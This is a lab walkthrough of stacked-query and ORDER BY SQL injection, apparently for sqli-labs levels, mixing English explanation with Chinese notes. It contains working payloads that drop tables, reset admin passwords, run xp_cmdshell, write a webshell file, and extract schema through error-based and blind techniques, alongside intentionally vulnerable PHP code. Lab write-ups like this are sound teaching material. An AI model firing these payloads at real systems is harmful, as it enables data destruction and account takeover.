第三部分:Stacked Injection
Execute multiple statements in the same query to extend the possibilities of SQL injections
Stacked queries provide a lot of control to the attacker. By terminating the original query and adding a new one, it will be possible to modify data and call stored procedures. This technique is massively used in SQL injection attacks and understanding its principle is essential to a sound understanding of this security issue.
In SQL, a semicolon indicates that the end of a statement has been reached and what follows is a new one. This allows executing multiple statements in the same call to the database server. Contrary to UNION attacks which are limited to SELECT statements,stacked queries can be used to execute any SQL statement or procedure. A classic attack using this technique could look like the following.
Malicious user input.
1; DELETE FROM products
Generated query with multiple statements. The parameter productid was not sanitized.
SELECT * FROM products WHERE productid=1; DELETE FROM products
When the query is executed, a product is returned by the first statement and all products are deleted by the second.
It is important to mention that query stacking does not work in every situation. Most of the time, this kind of attack is impossible because the API and/or database engine do not support this functionality. Insufficient rights could also explain why the attacker is unable to modify data or call some procedures.
Below is a list of query stacking support by the principal API and DBMS.
Stacked query support.
MySQL/PHP - Not supported (supported by MySQL for other API).
SQL Server/Any API - Supported.
Oracle/Any API - Not supported.
Even though we mentioned earlier that stacked queries can add any SQL statement, this injection technique is frequently limited when it comes to adding SELECTs.Both statements will be executed but software code is usually designed to handle the results returned by only one query. Consequently, the injected SELECT query will often generate an error or its results will simply be ignored. For this reason it is recommended to use UNION attacks when trying to extract data.
One last thing needs to be mentionned: to inject a valid SQL segment, the attacker will need to know some basic information such as table names, column names, etc. For more information refer to the section dedicated to information gathering.
The example presented at the beginning of the article demonstrates how query stacking can be used to delete information from the database. Instead of destroying data, attackers usually try to steal it or grant themselves high privileges on the system. A frequent approach is to change the administrator’s password. The example below illustrates a classic data modification using SQL injection.
User input.
1; UPDATE members SET password='pwd' WHERE username='admin'
Generated query.
SELECT * FROM products WHERE categoryid=1; UPDATE members SET password='pwd' WHERE username='admin'
Calling a procedure can bring SQL injections attacks to a whole new level. Nowadays, many database management systems come with built in packages of functions and procedures to simplify development and provide new functionalities. Therefore, it becomes possible to communicate with network, control the operating system and do even more from a simple SQL statement.
As there is no convention between DBMS regarding to packages and procedures name, the attacker will have to identify which database system is used before trying to call a built-in procedure. From there, the principle is the same as examples presented earlier except that the injected query is a stored procedure call. Let see how it can be done with the use ofxp_shellcmd; a SQL Server’s specific command which allows executing operating system calls.
User input.
1; exec master..xp_cmdshell 'DEL important_file.txt'
Generated query.
SELECT * FROM products WHERE categoryid=1; exec master..xp_cmdshell 'DEL important_file.txt'
The query above will return a product list and delete "important_file.txt". A much more complex attack could have been launched to take control over the operating system, but this is outside the scope of this article. The injected statement is not limited to built-in packages; a user-defined procedure could also be called. This approach is not frequent but it could be useful in some specific cases.
GET - Stacked Query Injection - String
SQL语句结构:
select ... from table where id = '$id' limit 0,1;
根据前面所学,可以得到数据库名,表名,表中内容。
如,构造?id=0' union select 1,database(),user()--+
后台php部分源代码(方便阅读,有修改):
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
mysqli_multi_query($sql))
正是由于后台用了该函数,才可以进行stacked injection
删除表referers:
?id=1';drop table referers;--+
由于后台:
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '';
printf("Your Username is : %s", $row[1]);
echo "
";
printf("Your Password is : %s", $row[2]);
echo "
";
echo "";
}
}
只显示了id=1的用户信息,"drop table referers" 成功与否,前端无法显示。
通过phpMyAdmin查看数据库Security,发现referers表已被删除。
修改用户密码:
?id=1';update users set password='fvck' where username='Dumb';--+
写入一个webshell:
?id=1';select "" into outfile "D:/Program Files (x86)/wamp/www/sqli_labs/Less-38/phpinfo.php" --+
GET - Stacked Query Injection - intiger based
SQL语句结构:
select .. from table where id = $id limit 0,1;
后台php源代码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '';
printf("Your Username is : %s", $row[1]);
echo "
";
printf("Your Password is : %s", $row[2]);
echo "
";
echo "";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
注入方法,同上节。
GET - Blind Based - String - Stacked
SQL语句结构:
select ... from table_name where id=('$id') ...
php源码,验证:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
GET - Blind Based - intiger - Stacked
SQL语句结构:
select ...... from table_name where id=$id ......
构造 ?id=0 union select 1,2,3 --+
结果如图所示:
POST - Error based - String - stacked
创建新用户,和修改密码的链接都是提示让你hack the way。
首先尝试对login_user参数闭合引号,添加注释,以绕过password验证,没有奏效。
接着,构造如下POST表单数据
login_user=admin&login_password=123' or 1=1#&mysubmit=Login
结果如图所示:
如此通过添加 or 语句测试,只要得到数据库用户表的信息,就能注册新用户,或者更改密码。
构造如下表单数据
login_user=admin
&login_password=123' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)#
&mysubmit=Login
刷新直至爆出表:
同理,可得到users表:
构造如下表单数据:
login_user=admin
&login_password=123' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)#
&mysubmit=Login
得到users表中的列名:
更改密码:
login_user=admin
&login_password=123';update users set password='fvck' where username='admin';#
&mysubmit=Login
php源代码:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
......
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
........
}
.......
POST - Error based - String - Stacked with twist
构造如下表单数据:
login_user=admin&login_password=123456'or 1=1&mysubmit=Login
报错:
猜测SQL语句结构 select ... from users where username = ('login_user') and password = ('password') ...
验证:
login_user=admin&login_password=123456')or 1=1#&mysubmit=Login
注入方法同上节。
POST - Error based - String - Stacked - Blind
构造表单数据
login_user=admin&login_password=123456'or 1=1#&mysubmit=Login
结果如图所示:
猜测SQL语句结构:
select ... from table_name where username='$username' and password = '$password'......
PHP源代码:
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
}
本节关闭了错误回显,盲注。
可以利用上述表单数据 login_user=admin&login_password=123456'or 1=1#&mysubmit=Login
中的 or 语句对数据库信息进行猜解,如果正确会成功以Dumb登陆。
如,构造如下表单数据:
login_user=admin&login_password=123456' or substring(version(),1,1)=4#&mysubmit=Login
结果未成功登陆。
说明当前数据库版本不是4。
将版本号改为5:
login_user=admin&login_password=123456' or substring(version(),1,1)=5#&mysubmit=Login
成功登陆。
通过此方法可以猜解更多信息。
POST - Error based - String - Stacked - Blind
猜测SQL语句结构:
select ... from table_name where username = ('$username') and password = ('$password')
查看PHP源代码验证:
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
}
GET - Error Based - Numeric - Order By clause
构造 ?sort=1,结果如图所示:
构造 ?sort=2
猜测SQL语句 select * from users order by $sort
PHP源代码:
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
?sort=(select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)
还可以利用延时注入
?sort=1 and if(length(database())=8,sleep(1),null)
这里等待了大概13s,因为users表中有13条数据。
GET - Error based - String - Order By Clause
猜测SQL语句结构:
select * from table_name order by '$id'
$sql = "SELECT * FROM users ORDER BY '$id'";
$result = mysql_query($sql);
构造:
?sort=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a)as b limit 0,1)--+
GET- Error based - Blind - Numeric - Order By Clause
SQL语句结构:
select * from users order by $sort
注入略。
GET - Error based - String - Blind - Order By Clause
SQL语句结构:
select * from users order by '$sort'
注入略。
GET - Error based - Order By Clause - Numeric - Stacked Injection
SQL语句结构:
select * from users order by $sort
PHP源代码:
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}
注入略。
GET - Error based - Order By Clause - String - Stacked Injection
SQL语句结构:
select * from users order by '$sort'
PHP源代码:
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}
注入略。
GET - Blind based - Order By Clause - Numeric - Stacked Injection
构造:
?sort=1 and if(1=1,sleep(1),null)
SQL语句结构:
select * from users order by $sort
源码使用mysqli_multi_query函数,存在Stacked Injection注入。
注入略。
GET - Blind based - Order By Clause - String - Stacked Injection
构造:?sort=1'--+,返回正常结果。
SQL语句结构:
select * from users order by '$sort'
注入略。